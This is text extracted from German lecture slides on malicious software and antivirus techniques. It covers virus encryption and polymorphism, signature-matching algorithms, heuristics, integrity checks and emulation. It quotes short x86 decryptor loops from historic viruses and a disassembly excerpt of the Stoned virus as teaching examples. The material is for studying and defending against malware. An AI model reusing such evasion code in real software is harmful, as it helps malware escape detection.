Abbildung: Prinzip eines Quellcode-Virus

52 / 95

Page 53: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Boot-Viren

3 TypenI BIOS-Virus

I manipuliert BIOS im Flash-SpeicherI kann nicht durch Antivirus-Software detektiert werdenI unterliegt keinen Zugriffsrestriktionen bei FestplatteI Beispiel: W95/CIH

I Boot-Sektor- bzw. MBR-VirusI infiziert genau einen Sektor→ maximale Größe 512 Byte

I nachladender Boot-Sektor-Virus

53 / 95

Page 54: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Residente Viren

I verbleiben nach Aktivierung im SpeicherI Infektionsgeschwindigkeit muss künstlich gedrosselt

werdenI MS-DOS: Terminate and Stay Resident (TSR)I Windows: VXD (virtueller Gerätetreiber)I UNIX: relativ schwierig

I als Daemon (root-Privileg erforderlich)I als Hintergrundprozess, gestartet durch .profileI Ymum20

54 / 95

Page 55: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Verschlüsselung

Ziel: Erschweren vonI Reverse EngineeringI DetektierungI Identifikation des genauen Virustyps

I Entschlüsselung muss schnell gehen!I darf keine Nutzereingaben o. ä. erwartenI XOR-Verschlüsselung gern genutzt:

I benötigt eine MaschineninstruktionI Schlüssel für Ver- und Entschlüsselung gleich

55 / 95

Page 56: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Ein einfacher Decryptor für .EXE-Dateien

DECRYPT:mov si, OFFSET STARTmov di, OFFSET STARTmov cx, VIR_SIZE

ELP:lodsbxor al,093Hstosbloop ELP

START:Virus Body Starts here ...

I lodsb – load byte at DS:SI into ALI stosb – store AL into DS:DII loop <label> – dec CX, jump <label>, if CX 6= 0

56 / 95

Page 57: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Der Decryptor des Herbstlaub-Virus

lea si,STARTmov sp,0682

DECRYPT:xor [si],sixor [si],spinc sidec spjnz DECRYPT

START:...

I erster bekannter verschlüsselnder VirusI START ist Beginn des verschlüsselten Teils, dynamisch

gesetztI SP als Zähler missbraucht

57 / 95

Page 58: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Variationen des Themas

I einfachste Form: lineare Verschlüsselung (Byte nachByte), vorwärts

I Verschlüsselung rückwärts (Decryptor steht am Ende desVirus)

I mehrere verschachtelte EntschlüsselungsschleifenI semizufällige Auswahl des zu entschlüsselnden Bytes

58 / 95

Page 59: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Formen von Entschlüsselungsschleifen

Decryption Loop

Decryption Loop Decryption Loop 2

Decryption Loop n

Virus

Body

Virus

Body

Decryption Loop 1

Virus

Body

59 / 95

Page 60: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Anmerkungen

I Bitmuster der Entschlüsselungsschleife reicht manchmalzur Detektierung eines Virus, da diese Funktioneneigentlich nur in Viren vorkommen

I präzise Identifikation oft unmöglich, da weniger Typen vonEntschlüsselungsschleifen als Virentypen

I Verschlüsselung Basis für Vielgestaltigkeit

60 / 95

Page 61: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für oligomorphen Decryptor

DECRYPT:nopnopxor [esi],alinc esinopinc aldec ecxjnz DECRYPTjmp START

START:...

DECRYPT:nopnopxor [esi],alinc esinopinc alloop DECRYPTjmp START

START:...

I Beispiel aus W95/MemorialI sliding decryption keyI 2 (leicht) verschiedene Schleifen

61 / 95

Page 62: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Erkennen Sie, was dieser Code tut?

inc simov ax,0E9Bclcmov di,012Anopmov cx,0571

LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0

START:

62 / 95

Page 63: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Es ist ein Dekryptor.

inc simov ax,0E9Bclcmov di,012Anopmov cx,0571

LABEL0:xor [di],cxsub bx,dxxor bx,cxsub bx,axsub bx,cxnopxor dx,cxxor [di],axinc dinopclcinc axloop LABEL0

START:

63 / 95

Page 64: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel für polymorphen Virus: 1260

I Einfügen sogenannter junk instructions verkompliziertCode

I Instruktionen in Prolog und Schleife können jeweilsmiteinander permutiert werden

I 2 Register mit Schlüsseln, ax und cxI jedes Wort wird doppelt verschlüsseltI beide Schlüssel ändern sich stetig (cx implizit durch loop)I di zeigt auf zu verschlüsselndes WortI einer der ersten echt polymorphen Viren

→ Polymorphe Viren können eine unübersehbare Vielzahl vonDekryptor-Routinen besitzen.

64 / 95

Page 65: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Weitere Aspekte polymorpher Viren

I langsame Polymorphie: Gestalt des Virus ändert sich ingroßen Zeiträumen→ schlecht zu testen für AV-Software

I Mutation Engines: übernehmen einen unverschlüsseltenVirus und generieren einen polymorphen Decryptor dafür(Beispiel: The Dark Avenger Mutation Engine)

I Metamorphe Viren: anstatt des Dekryptors wird der Körperdes Virus modifiziert (keine Verschlüsselung mehr nötig)

65 / 95

Page 66: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Weitere Techniken

I Code Interlacing (Hole Cavity Infection); im „PortableExecutable“ (PE) - Binärformat

I Armoured Virus: be- oder verhindert die Analyse desBinärcodes

I erkennen, wenn im Debugmodus abgearbeitet (beendetsich selbst, blockiert Tastatur, rebootet)

I Fake CodeI kryptographische Techniken

I Retrovirus: Nutzen spezifische Erkennungsschwächen vonAnti-Virus-Software

I Multiformatvirus – kann verschiedene Dateitypen infizieren(z. B. iWinux/Lindose, infiziert PE und ELF)

I Slow vs. Rapid VirusI Manipulation des EnvironmentsI kooperierende oder kombinierte Viren

66 / 95

Page 67: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Anti-Virus-Software

Zielstellung:I Erkennung

I keine False PositivesI keine False Negatives

I Identifikation,I Entfernung von Viren

67 / 95

Page 68: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Scanner

Scanner: Programm zur Identifikation und Eliminierung bzw.Reparatur infizierter Dateien

I on-demandI durch den Nutzer gerufenI bzw. zu ausgezeichneten Zeitpunkten (Systemstart)

I on-accessI residentI bei jedem Zugriff, Öffnen, SchließenI z. B. als Filter-Dateisystem-Treiber unter WindowsI Problem: Netzwerk-Freigaben

68 / 95

Page 69: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Signatur eines Virus

Definition (Signatur eines Virus)Die Signatur eines Virus ist eine endliche Sequenz von Bytes,die einen bestimmten Virus eineindeutig identifiziertBeispiel: 0400 B801 020E 07BB 0002 33C9 8BD1 419Cidentifiziert den Stoned-Virus

I Länge der Signatur?I Wildcards?I durchsucht werden alle anfälligen

Dateien/FestplattenbereicheI Problem: Performance!

69 / 95

Page 70: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Aho-Corasick (1975)Zur bibliografischen Suche

0 1 3 5

6

8

2 4 7 9

h i p s

t

c

h i p

other

hi hip hips

hit

hi chip,hip

Abbildung: Beispiel eines Zustandsautomaten

Fehlerzustand 1 2 3 4 5 6 7 8 9Folgezustand 0 0 0 1 0 0 3 0 5

Tabelle: Zugehörige Fehlerfunktion70 / 95

Page 71: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Aho-Corasick (1975)

Input Vorher Nachher Ausgabes 0 0c 0 2h 2 4i 4 7 „hi“p 7 9 „chip“, „hip“h 9 1i 1 3 „hi“

Tabelle: Beispiel

I parallele Suche nach allen eingebauten MusternI findet auch überlappende MusterI Anwendung z. B. in fgrep und snortI Literatur: Alfred V. Aho, Margaret J. Corasick: Efficient

string matching: An aid to bibliographic search.Communications of the ACM 18(6):333–340

71 / 95

Page 72: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Veldman

Idee: Repräsentation der Signaturen durch kurze (z. B. 4 Byte)charakteristische Sequenzen, Filterung mittels zweierHashtabellen

I wenn erste beide Bytes in Hashtabelle 1 zu finden sind,wird in 2 Hashtabelle nach Bytes 3 und 4 gesucht

I Treffer verlinkt verkettete Liste mit Signaturen, die dannsequentiell durchsucht werden

I 2-Byte-Sequenzen für kurze Signaturen ebenfalls möglichI ideal für Suche mittels Wildcards

Beispielzeichenkette für Automat:

blar?g foo greep greed agreed

blar fo gree

72 / 95

Page 73: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Veldman

Suchfunktion:

foreach byte sequence b1b2b3b4 in input:if HT1[b1b2] == 1thenif two-byte-patternthen

signatures = HT1[b1b2]->STmatch(signatures)

elseif HT2[b3b4] == 1then

signatures = HT2[b3b4]->STmatch(signatures)

73 / 95

Page 74: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Veldman

bla?r

greep green

foo

agreedaa

ab

ac

0

0

0

1

1

ar

ee

aa

ab

0

0

0

bl

ac

1

gr

fo 1

1

Hash Table 1

HT1

Hash Table 2

HT2

Signature Table

ST

Abbildung: Beteiligte Datenstrukturen (Beispiel)

74 / 95

Page 75: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Veldman

Anmerkungen:I inexakte Filterung: im Beispiel würden z. B. „bleed“ oder

„grar“ als gültige Signatur erkannt werdenI folgendes Matching schliesst diese aber wieder ausI match-Operation der Signaturen erfolgt sequentiell

75 / 95

Page 76: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Wu und Manber

Idee: Verbesserung von Veldman, irrelevante Bytes in derEingabe überspringen

I erlaubt ebenfalls WildcardsI Anwendung: agrep (unscharfe Suche)I Literatur: Udi Manber, Sun Wu: Fast text search allowing

errors. Communications of the ACM, 35(10), October 1992

76 / 95

Page 77: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Wu und ManberSuchfunktion

i = MINLENwhile i < n:

shift = SHIFT [b[i-1],b[i]]if shift = 0:

signatures = HASH[b[i-1],b[i]]match(signatures)shift = 1

i = i + shift

I MINLEN – minimale Länge der Mustersubstrings (foo,greed, . . . )

I b[i] – Bytes der zu durchsuchenden Zeichenkette(0 ≤ i < n)

I SHIFT – Anzahl Bytes, die übersprungen werden könnenI HASH – Hashtabelle für Signaturen

77 / 95

Page 78: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Wu und Manber

bla?r

agreed

foo

greep green

ab

ag

gr

la

bl

fo

oo

re

xx

2

1

1

1

0

0

0

0

2

gr

la

oo

re

Shift Table

SHIFT

Hash Table 2

HASH

Abbildung: Beteiligte Datenstrukturen (Beispiel)

78 / 95

Page 79: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Wu und ManberBeispieleingabe

MINLEN=3

c

b[0] b[1] b[2] b[3] b[4] b[5] b[6] b[7]

a x x f o o

initiale

b

Shift: +1

Leserichtung

Shift: +2Shift: +2Position Match

Aufgabe: Was passiert mit der Eingabe „cabxloo“?

79 / 95

Page 80: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Algorithmus von Wu und ManberKonstruktion der Datenstrukturen

1. Ermittlung von MINLEN

2. Initialisierung von SHIFT mit MINLEN-13. Füllen von SHIFT

SHIFT[xy] = MINLEN - qxy

qxy : maximale rechte Endposition von xy in allenbetreffenden Pattern, gezählt ab 1

Beispiel:

xy Signatur qxy

bl bla 2la bla 3gr agr,gre 3

4. Konstruktion der Hashes, wenn SHIFT[xy] == 0

80 / 95

Page 81: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Probleme von Signaturen

zu kurz:I zu viele false positivesI Fehlidentifikation von Virentypen

zu lang:I aufgeblähte DatenbankI langsame SucheI Virusvarianten nicht als solche erkannt

generell:I ständiges Update der Signaturdatenbank nötigI zeitliche Lücke zwischen Auftreten eines neuen Virus→

Erkennung des Virus→ Analyse des Virus undGenerierung einer Signatur

81 / 95

Page 82: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Scanning: Leistungssteigerung

Reduktion der zu durchmusternden Daten:I nicht komplette Dateien durchsuchen (Top- and

Tail-Scanning)I Start des Scans am Einsprungpunkt der ApplikationI Fixed Point Scanning: wenn exakte Position der Signatur

(innerhalb des Virus) bekannt istI nur soviel durchmustern, wie der gesucht Virus lang ist

Reduktion der Scan-Durchläufe:I nur befallbare Dateien durchmustern (ausführbare,

Dokumente)I Ergebnisse früherer Scans speichern, nur erneut scannen,

wenn Datei modifiziert wurde (Erkennung der Modifikation?Checksummen? Integritätssicherung der Datenbank)

82 / 95

Page 83: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Exakte Identifikation

Idee:I Alle konstanten Teile eines Virus ermitteln (Map).I Checksumme (z. B. CRC) über Map

Voraussetzungen:I Virus vollständig analysiert und verstandenI Variablen identifiziert,I Länge des Virus ermittelt

83 / 95

Page 84: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel: Stoned-Virus

1. Variablen:seg000 :7 c00 bodyzero :seg000 :7 c00 jmp f a r p t r 7c0h :5seg000 :7 c05 jmp s t a r tseg000 :7 c05 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c08 f l a g db 0 ; ; hard d isk or d i sk e t t e?seg000 :7 c09 i n t 1 3 o f f dw 251h ; DATA XREFseg000 :7 c0b in t13seg dw 0c800h ; DATA XREFseg000 :7 c0d jumps ta r t dw 0e4h ; o f f s e t to makeseg000 :7 c0d ; i n t e r segment jumpseg000 :7 c0f v i russeg dw 9f80h ; DATA XREFseg000 :7 c11 b o o t o f f dw 7c00h ; to bootseg000 :7 c13 botseg dw 0 ; segmentseg000 :7 c15 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c15 push dsseg000 :7 c16 push ax

Anfang des Stoned-Virus, nach [Szor05]

84 / 95

Page 85: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Beispiel: Stoned-Virus

2. Länge des Virus:seg000 :7 cd3 mov cs , 1B8h ; 440 bytesseg000 :7 cd6 push csseg000 :7 cd7 pop dsseg000 :7 cd8 xor s i , s i ; copy code to memoryseg000 :7 cda mov di , s iseg000 :7 cdc c ldseg000 :7 cdd rep movsbseg000 :7 cdf jmp dword p t r cs :0 dh

Kopierroutine, nach [Szor05]

→ Map des Virus: 0x00–0x07, 0x0d–0x0e, 0x11-0x187

85 / 95

Page 86: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Identifikation von Varianten

Virus Name: Stoned.A Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523D929

0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2053746F6E656421 C is now Stoned!0000:01A0 070D0A0A004C4547 414C495345204D41 .....LEGALISE MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Ausschnitt aus Stoned.A

Virus Name: Stoned.B Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523C769

0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2073746F6E656421 C is now stoned!0000:01A0 070D0A0A004C4547 414C495A45004D41 .....LEGALIZE.MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........

Ausschnitt aus Stoned.B

86 / 95

Page 87: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Probleme mit polymorphen Viren

MOV AX, 65A1XCHG DX, AXMOV AX, DXMOV BP, AXADD EBP, 69BDAA5FMOV BX, BPXCHG BL, DHMOV BL, BYTE PTR DS:[43A5]XCHG BL, DHCMP BYTE PTR GS:[B975], DHSUB DH, BYTE PTR DS:[6003]MOV AH, DHINT 21

Problem: welchen Wert haben AH und BX bei Aufruf desInterrupts?→ nur durch Emulator zu ermitteln.

87 / 95

Page 88: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Nutzung von statischen Heuristiken

Grundidee:I Identifikation von Merkmalen, die Viren von anderer

Software unterscheiden,I Suche nach diesen Merkmalen in Dateien,I Addition und Wichtung gefundener Merkmale,I Entscheidung, ob Virus oder nicht.

Vorteil: neue, unbekannte Viren können damit (potentiell)gefunden werden, vollständige Analyse nicht nötigHauptproblem: zuviele false positivesNegative Heuristiken: Suche nach Code, der in Viren garantiertnicht vorkommt (z.B. Dialogboxen)Spektrale Analyse: Histogramm der in einem Programmbefindlichen Instruktionen

88 / 95

Page 89: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Virentypische Merkmale (Auswahl)

I Junk CodeI DekryptorenI Selbstmodifizierender CodeI virustypischer Code

Beispiel: Suche nach dem Marker des PE-Binärformatscmp ax, "MZ"

I Instruktionen, die der Compiler nicht generiertI Ausführung startet am Ende einer Datei (Sprung dahin)I Manipulation von Interruptvektoren (MS-DOS)I Nutzung undokumentierter FunktionenI Zeichenketten mit Obszönitäten ;-)

89 / 95

Page 90: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Integritätsprüfungen

Idee:I Viren modifizieren Dateien (Ausnahme?)→I Bildung einer Checksumme über jeder uninfizierten Datei,I Speicherung der Checksumme in Datenbank,I späterer Vergleich gespeicherter mit aktueller

Checksumme.Realisierungsmöglichkeiten:

1. externes Programm, periodischer Aufruf,2. Selbsttest in ausführbaren Dateien,3. impliziter Test durch OS beim Aufruf (Integrity Shell)

90 / 95

Page 91: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Integritätsprüfungen – Bewertung

I für bekannte und unbekannte Viren möglichI Detektion erst nach InfektionI unmöglich, in legal modifizierten oder neuen Dateien Viren

zu findenI Ursache der Infektion nicht ermittelbarI keine VirusidentifikationI Datenbank ist ein bevorzugtes Angriffsziel von Retroviren

91 / 95

Page 92: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Behavior Blockers/Monitors

Idee: Beobachtung der Aktivität von Prozessen undBlockierung/Meldung von „verdächtigen“ Aktivitäten

I erlaubt potentiell die Ausführung eines VirusI Verschlüsselung von Viren wirkungslosI nur relevante Operationen beobachten (Aufwand!), z.B.

I/O, SystemrufeI nachteilig: Payload wird u. U. ausgeführt

Beispiel einer verdächtigen Aktion:1. Öffnen einer Binärdatei zum Lesen und Schreiben2. Einlesen des Teils des File Headers, der Startadresse

enthält3. Schreiben des zuvor eingelesenen Teils4. Seek zum Ende der Datei und Append-Operation

92 / 95

Page 93: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Dynamische Signaturen

Idee: Ableitung von Signaturen aus der Sequenz relevanterSystemereignisse (z. B. Systemrufe) und Anwendung derstatischen Suchverfahren

open, open, read

open, read, write

read, write, read

write, read, write

read, write, close

write, close, close close, close

write, close

write, read

read, write

open, read

open, open

open

open

read

write

read

write

read

write

close

closedynamische Signaturen (k=2)dynamische Signaturen (k=3)

Syscall Trace

Abbildung: Beispiel (kurzer) dynamischer Signaturen

93 / 95

Page 94: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Emulation

Idee: Code Nutzung eines CPU-Simulators, um Viruscodeungefährdet ausführen zu können

I innerhalb der Anti-Viren-SoftwareI komplexer Code zu verstehen

94 / 95

Page 95: Vorlesung Informationssicherheit - Thema 5: Bösartige Softwarerobge/is/vl/is-05-malware.pdf · Logische Bomben Beispiel: I Donald Gene Burleson, Programmierer für Versicherung USPA

Was haben wir gelernt?

Techniken der VirusdetektionI ScanningI Exakte IdentifikationI Statische HeuristikenI IntegritätsprüfungenI Emulation

Nur die Kombination aller Techniken ist erfolgversprechend.

95 / 95